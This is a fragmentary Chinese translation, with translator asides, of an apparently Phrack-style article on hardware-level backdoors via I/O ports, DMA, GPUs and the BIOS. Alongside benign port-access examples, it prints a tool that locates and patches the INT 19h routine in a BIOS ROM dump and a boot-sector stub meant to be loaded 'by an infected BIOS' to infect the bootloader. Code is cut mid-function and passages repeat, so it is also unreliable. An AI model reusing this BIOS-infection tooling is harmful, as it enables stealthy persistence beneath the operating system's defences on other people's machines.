本文聚焦于如何访问硬件,I/O system提供了这样的一种访问。众所周知,CPU是计算机的心脏,更准确地说,是
PC的大脑。但是它只会计算。如果没有外设的帮助,cpu什么也干不了。 设备把要计算的数据发给CPU,再获得
返回。I/O system用来连接设备和CPU。处理器访问I/O system的方式同处理器访问内存的方式很相似。
事实上,处理器同所有外设的交流都是通过读写内存中的某些地址实现了.In fact, all the
processors do to communicate with devices is to read and write data
"somewhere in memory" : the I/O system is charged to handle the next steps.
This "somewhere in memory" is represented by an I/O port.(这句话不会翻)。
I/O 端口是CPU数据总线和外设之间的联系。每一个基于I/O 的设备至少占用一个I/O 端口。
通常设备驱动做的事就是操作I/O 端口(是的,大致来说,它们做的仅仅是跟硬件交流)。
Intel构架提供了三种方法操作I/O 端口:
内存映射I/O、Input/Output 映射 I/O 和DMA
DMA
DMA代表直接内存访问(Direct Memory Access)。DMA用来增强设备到内存的(数据传输)性能。
在早期计算机里,设备通过使用CPU去从内存传输数据到设备。进入多媒体时代(译者注:一句脏话,不会翻),
当电脑配备了光驱、声卡,CPU不能执行如在播放一部枪战片的同时放映音乐的任务因为用户按下了“CTRL”键。
(译者注:此处翻译不好,这里是说响应设备中断占据了大量的CPU资源)
于是构架师就创造了能解决问题的芯片,DMA控制器诞生了。
DMA控制器允许从内存向设备传输数据时只需要很少的cpu操作。通常cpu初始化DMA传输,然后剩下的工作就由
DMA完成,使得CPU能够去做其他任务。
有趣的是当CPU不再传输,而设备在被使用之前,保护模式不再有效,意味着我们可以读写任意地方。
(The very interestingthing is that since the CPU doesn't actually do the
transfer and sincedevices are being used, protected mode does not interfere,
which means wecan write and read (almost) anywhere we would like to. 这句话很重要,
可能我翻译错误。这么好的东西,老外真牛)。这个想法由来已久,PHC已经把它用在他们的一个phrack作品里。
Read or write byte ports (eight bits wide). The port argument is defined as
unsigned long for some platforms and unsigned short for others. The return
type of inb is also different across architectures.
unsigned inw(unsigned port);
void outw(unsigned short word, unsigned port);
These functions access 16-bit ports (word wide); they are not available
when compiling for the M68k and S390 platforms, which support only byte
I/O.
These functions access 32-bit ports. longword is either declared as
unsigned long or unsigned int, according to the platform. Like word I/O,
"long" I/O is not available on M68k and S390.
(译者注:这样的函数手册不翻了)
/*
** Just a simple code to see how to play with inb()/outb() functions.
**
** usage is :
** * read : io r <port address>
** * write : io w <port address> <value>
**
** compile with : gcc io.c -o io
*/
val = inb(port);
fprintf(stdout, "value : %X\n", val);
}
void write_io(long port, long value)
{
outb(value, port);
}
int main(int argc, char **argv)
{
long port;
if (argc < 3)
{
fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
exit(1);
}
port = atoi(argv[2]);
if (iopl(3) == -1)
{
fprintf(stderr, "could not get permissions to I/O system\n");
exit(1);
}
if (!strcmp(argv[1], "r"))
read_io(port);
else if (!strcmp(argv[1], "w"))
write_io(port, atoi(argv[3]));
else
{
fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
exit(1);
}
return 0;
}
------
/dev/port
/dev/port是一个特殊的文件允许你访问I/O就像操作一个简单文件。
open(), read(),write(), lseek() and close()函数用来操作/dev/port文件。
仅仅需要使用lseek() and read() or write()就可以操作文件地址对应的端口。
下面是一个例子:
------[port.c
/*
** Just a simple code to see how to play with /dev/port
**
** usage is :
** * read : port r <port address>
** * write : port w <port address> <value>
**
** compile with : gcc port.c -o port
*/
3. Playing with GPU
显卡真是牛x(译者注:作者讲粗口,我也随便了)。当你在电脑上安装这么一个设备,不仅仅是增加了一个设备能呈现更好的图像,同时
也在你的电脑里植入了一个迷你电脑。现在的显卡不仅仅是一片芯片,它有存储器、处理器,甚至有BIOS!
你能从中找到很多好玩的东西。
首先,需要知道显卡到底是什么。显卡能提高电脑的3D渲染性能和为你的显示器发送信号。正如我所说,
这里你能做三件邪恶的事。
__global__ void encrypt(int key)
{
/* do any encryption you want here */
/* and put the result into 'store' */
/* (you need to modify CPU code if */
/* the encrypted text size is */
/* different than the clear text */
/* one). */
}
CUT_CHECK_DEVICE();
CU_SAFE_CALL(cuInit());
CU_SAFE_CALL(cuDeviceGetCount(&count));
if (count <= 0)
{
fprintf(stderr, "error : could not connect to any 3D card\n");
exit(-1);
}
CU_SAFE_CALL(cuDeviceGet(&dev, 0));
CU_SAFE_CALL(cuCtxCreate(dev));
}
int main(int argc, char ** argv)
{
int key;
char * res;
if (argc != 3)
usage(argv[0]);
init_gpu();
CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1])));
CUDA_SAFE_CALL(cudaMemcpy(store,
argv[1],
strlen(argv[1]),
cudaMemcpyHostToDevice));
res = malloc(strlen(argv[1]));
key = atoi(argv[2]);
encrypt<<<128, 256>>>(key);
CUDA_SAFE_CALL(cudaMemcpy(res,
store,
strlen(argv[1]),
cudaMemcpyDeviceToHost));
for (i = 0; i < strlen(argv[1]); i++)
printf("%c", res[i]);
CU_SAFE_CALL(cuCtxDetach());
CUT_EXIT(argc, argv);
return 0;
}
------
4. Playing with BIOS
BIOS非常有趣,实际上,已经有一些BIOS上的后门发布出来了。
但是让我们再翻新下玩法,看看在这片芯片上我们能干什么。首先,BIOS是基本输入输出系统。
这片芯片掌管启动过程、低级的配置、在早期加载boot loader和操作系统时提供一组功能。
实际上,在启动时,它首先控制计算机,然后做硬件检查,然后初始化中断分配表(IDT)来提供
一些重要的中断( features via interruptions),最后就按照配置从可引导设备上的boot loader。
例如,如果你设置BIOS首先从光驱启动,然后是硬盘,BIOS在启动时就会首先尝试加在光驱上的操作系统,
否则才是从硬盘启动。BIOS上的代码会被首先执行。BIOS后门的有趣之处是给你系统的深层控制和一种绕过
任何安全系统的有效方法(在我们代码在系统运行前就已经执行了)。但是也有很大的缺陷--可移植性。
你应该注意到BIOS里包含数据,such a dump isn't accurate
as you will have a shift preventing code to be disassembled correctly. To
address this problem, you should use the entry points table provided
farther and 使用 objdump 的 '--start-address'选项.
30 // ROM BIOS compatability entry points:
31 // ===================================
32 // $e05b ; POST Entry Point
33 // $e2c3 ; NMI Handler Entry Point
34 // $e3fe ; INT 13h Fixed Disk Services Entry Point
35 // $e401 ; Fixed Disk Parameter Table
36 // $e6f2 ; INT 19h Boot Load Service Entry Point
37 // $e6f5 ; Configuration Data Table
38 // $e729 ; Baud Rate Generator Table
39 // $e739 ; INT 14h Serial Communications Service Entry Point
40 // $e82e ; INT 16h Keyboard Service Entry Point
41 // $e987 ; INT 09h Keyboard Service Entry Point
42 // $ec59 ; INT 13h Diskette Service Entry Point
43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point
44 // $efc7 ; Diskette Controller Parameter Table
45 // $efd2 ; INT 17h Printer Service Entry Point
46 // $f045 ; INT 10 Functions 0-Fh Entry Point
47 // $f065 ; INT 10h Video Support Service Entry Point
48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)
49 // $f841 ; INT 12h Memory Size Service Entry Point
50 // $f84d ; INT 11h Equipment List Service Entry Point
51 // $f859 ; INT 15h System Services Entry Point
52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \
(lower 128 characters)
53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point
54 // $fea5 ; INT 08h System Timer ISR Entry Point
55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST
56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler
57 // $ff54 ; INT 05h Print Screen Service Entry Point
58 // $fff0 ; Power-up Entry Point
59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY
60 // $fffe ; System Model ID
/*
** This function looks in the BIOS rom and search the int19h procedure.
** The algorithm used sucks, as it does only a naive search. Interested
** readers should change it.
*/
char * search(char * buf, size_t size)
{
return memmem(buf, size, CODE, sizeof(CODE));
}
int main(int argc, char **argv)
{
int sector;
size_t i;
size_t ret;
size_t cnt;
int devfd;
int outfd;
char * buf;
char * dev;
char * out;
char * tgt;
if (argc == 3)
{
dev = BIOS_DEV;
out = argv[2];
sector = atoi(argv[1]);
}
else if (argc == 4)
{
dev = argv[1];
out = argv[3];
sector = atoi(argv[2]);
}
else
usage(argv[0]);
if ((devfd = open(dev, O_RDONLY)) == -1)
{
fprintf(stderr, "could not open BIOS\n");
exit(1);
}
if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1)
{
fprintf(stderr, "could not open %s\n", out);
exit(1);
}
for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret)
buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE);
if (ret == -1)
{
fprintf(stderr, "error reading BIOS\n");
exit(1);
}
if ((tgt = search(buf, cnt)) == NULL)
{
fprintf(stderr, "could not find code to patch\n");
exit(1);
}
patch(tgt, cnt, sector);
for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret)
;
if (ret == -1)
{
fprintf(stderr, "could not write patched ROM to disk\n");
exit(1);
}
close(devfd);
close(outfd);
free(buf);
return 0;
}
---
--[ evil.asm
;;;
;;; A sample code to be loaded by an infected BIOS instead of
;;; the real bootloader. It basically moves himself so he can
;;; load the real bootloader and jump on it. Replace the nops
;;; if you want him to do something usefull.
;;;
;;; usage is :
;;; no usage, this code must be loaded by store.c
;;;
;;; compile with : nasm -fbin evil.asm -o evil.bin
;;;
BITS 16
ORG 0
;; we need this label so we can check the code size
entry:
jmp begin ; jump over data
;; here comes data
drive db 0 ; drive we're working on
;; move out of the zone so we can load the TRUE boot loader
mov ax, 0x7c0
mov ds, ax
mov ax, 0x100
mov es, ax
mov si, 0
mov di, 0
mov cx, 0x200
cld
rep movsb
;; do your evil stuff there (ie : infect the boot loader)
nop
nop
nop
;; execute system
jmp 07C0h:0
size equ $ - entry
%if size+2 > 512
%error "code is too large for boot sector"
%endif
times (512 - size - 2) db 0 ; fill 512 bytes
db 0x55, 0xAA ; boot signature
---
--[ store.c
/*
** code to be used to store a fake bootloader loaded by an infected BIOS
**
** usage is :
** store <device to store on> <sector number> <file to inject>
**
** compile with : gcc store.c -o store
*/
The very interestingthing is that since the CPU doesn't actually do the
transfer and sincedevices are being used, protected mode does not interfere,
which means wecan write and read (almost) anywhere we would like to
这句话的意思应该是 “有趣的是 CPU不向设备传输数据,而设备 在 占用状态 下,保护模式 不再干涉 我们的读写操作”